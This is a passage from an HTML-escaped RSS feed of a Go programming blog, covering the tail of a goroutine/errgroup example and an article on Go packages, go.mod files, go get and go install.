style=&#34;color:#57c7ff&#34;&gt;Go&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() &lt;span style=&#34;color:#9aedfe&#34;&gt;error&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;select&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;After&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;If there is an error this won&amp;#39;t be executed. If there is no error expect this message to be on the screen&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;ctx.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Context cancelled because errgroup found and error. We couldn&amp;#39;t wait 200 ms&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; ctx.&lt;span style=&#34;color:#57c7ff&#34;&gt;Err&lt;/span&gt;() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you change the first error to &lt;em&gt;nil&lt;/em&gt;, you will see that the delayed goroutine will execute normally and the context message won&amp;rsquo;t be shown.&lt;/p&gt;&#xA;&lt;h2 id=&#34;more-resources-about-goroutines&#34;&gt;More resources about goroutines&lt;/h2&gt;&#xA;&lt;p&gt;Finally, here are some other resources on goroutines that you can consult.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/tour/concurrency/1&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Docs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://golangbot.com/goroutines/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Goroutines&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=f6kdp27TYZs&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Goroutines by google devs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;As I mentioned in the introduction to the go programming language: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go is a specialized concurrency language&lt;/a&gt;&#xA;. It is a language that was designed to handle multiple tasks asynchronously. This entry is about go channels.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: package import and module management</title>
      <link>https://coffeebytes.dev/en/go/go-package-import-and-module-management/</link>
      <pubDate>Wed, 12 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-package-import-and-module-management/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In go &lt;strong&gt;you can consider a package as all the files contained in a directory and a module as a collection of packages&lt;/strong&gt;. To use the code of a package we need to import it, however, in Go there are no relative module imports. Before Go 1.8, to import packages (there were no modules) it was necessary to use the absolute path, considering as base the path pointed to by the environment variable $&lt;em&gt;GOPATH&lt;/em&gt; or. Since Go 1.11, the easiest way to work with packages is to use go mod. I will explain the latter.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743574346/coffee-bytes/package-vs-modules-go_u2yrue.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1743574346/coffee-bytes/package-vs-modules-go_u2yrue.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Differences between modules and packages in go&#34; width=&#34;318&#34; height=&#34;148&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;In Go, a module is a collection of packages&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Difference between modules and packages in go, in Go a module is just a collection of packages.&lt;/p&gt;&#xA;&lt;h3 id=&#34;defining-the-name-of-a-package-in-go&#34;&gt;Defining the name of a package in Go&lt;/h3&gt;&#xA;&lt;p&gt;Before we start, do you remember that I told you in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;introduction to the Go programming language&lt;/a&gt;&#xA;, that the name of each package is set at the beginning of each file, placing it after the reserved word &lt;em&gt;package&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;For this example the package name will be &lt;em&gt;videogame&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once defined, I will create a model or struct in &lt;em&gt;videogame.go&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//videogame/videogame.go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; Videogame &lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Id &lt;span style=&#34;color:#9aedfe&#34;&gt;int32&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Title &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remember that the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/&#34;&gt;Go struct privacy rules&lt;/a&gt;&#xA; say that in order for us to access a &lt;em&gt;struct&lt;/em&gt; or its properties, from another package to where it was declared, we must use uppercase.&lt;/p&gt;&#xA;&lt;p&gt;I know, it is one of the things that I abhor about Go&amp;rsquo;s language, not enough for me to abandon it, but pretty cumbersone IMO, what if you need to debug one? welcome to regexland.&lt;/p&gt;&#xA;&lt;p&gt;Once created, we will end up with a structure similar to this one&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModule.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModule.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Project file structure, a folder called videogame, with a file of the same name inside&#34; width=&#34;310&#34; height=&#34;112&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Project file structure, a folder called videogame, with a file of the same name inside&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Localization of the main file and our module in go&lt;/p&gt;&#xA;&lt;h2 id=&#34;import-packages-with-gomod&#34;&gt;Import packages with go.mod&lt;/h2&gt;&#xA;&lt;h3 id=&#34;what-is-a-gomod-file-for&#34;&gt;What is a go.mod file for?&lt;/h3&gt;&#xA;&lt;p&gt;A go.mod file &lt;strong&gt;defines a module and allows us to set the directory that we will use as a base to import the packages&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModFile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/goModFile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;go.mod file at the root of the project&#34; width=&#34;320&#34; height=&#34;214&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;go.mod file at the root of the project&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In the above example the &lt;em&gt;go.mod&lt;/em&gt; file will allow us to treat the &lt;em&gt;videogame&lt;/em&gt; path as a package and import code from the &lt;em&gt;mymodule/videogame&lt;/em&gt; path.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-does-a-gomod-file-contain&#34;&gt;What does a go.mod file contain?&lt;/h3&gt;&#xA;&lt;p&gt;The basic &lt;em&gt;go.mod&lt;/em&gt; file is very short, it only specifies &lt;strong&gt;the name of the module, which we will use to perform the imports, and the version of go&lt;/strong&gt;. That&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;module mymodule&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1.15&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;how-to-create-a-gomod-file&#34;&gt;How to create a go.mod file?&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;go mod init&lt;/em&gt; command, followed by the name it will take as the base path for our package, will create a file named &lt;em&gt;go.mod&lt;/em&gt; in the directory where we run it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go mod init mymodule&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For example, if we name it &lt;em&gt;mymodule&lt;/em&gt;, all the folders &lt;strong&gt;that are at the same level as the &lt;em&gt;go.mod&lt;/em&gt; file and that declare a package at the beginning of their file&lt;/strong&gt;, will be considered packages.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/multiplesModulos.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/images/multiplesModulos.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Multiple directories to import as packages with go.mod&#34; width=&#34;312&#34; height=&#34;195&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;And we can import them directly from our &lt;em&gt;main.go&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mymodule/foobar&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mymodule/videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;remote-modules-in-go&#34;&gt;Remote modules in Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;the-go-module-handler&#34;&gt;The go module handler&lt;/h3&gt;&#xA;&lt;p&gt;Go has a module handler equivalent to pip and npm, python and javascript, respectively, called get.&lt;/p&gt;&#xA;&lt;h3 id=&#34;go-get&#34;&gt;go get&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;To get remote modules we run the &lt;em&gt;go get&lt;/em&gt; command in console followed by the path to our package; it supports any repository, not just github. Since go version 1.18, go get does not compile the code it downloads, but just adds, updates or removes dependencies in the &lt;em&gt;go.mod&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go get github.com/labstack/echo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the command, go will download the files to the path pointed to by the &lt;em&gt;$GOPATH&lt;/em&gt; environment variable and perform the corresponding imports into your &lt;em&gt;go.mod&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;module mypackage&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1.15&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;require&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;labstack&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;echo v3&lt;span style=&#34;color:#ff9f43&#34;&gt;.3.10&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt;incompatible &lt;span style=&#34;color:#78787e&#34;&gt;// indirect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    github.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;labstack&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;gommon v0&lt;span style=&#34;color:#ff9f43&#34;&gt;.3.1&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// indirect&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;You will notice that their packages will be available for us to import with their respective path.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;github.com/labstack/echo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In case we need a specific version we declare it after the route.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go get github.com/labstack/echo/v4&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;go-install&#34;&gt;go install&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, go install &lt;strong&gt;does not download code&lt;/strong&gt;, but compiles a module and installs the binary into $GOPATH/bin, ignoring the contents 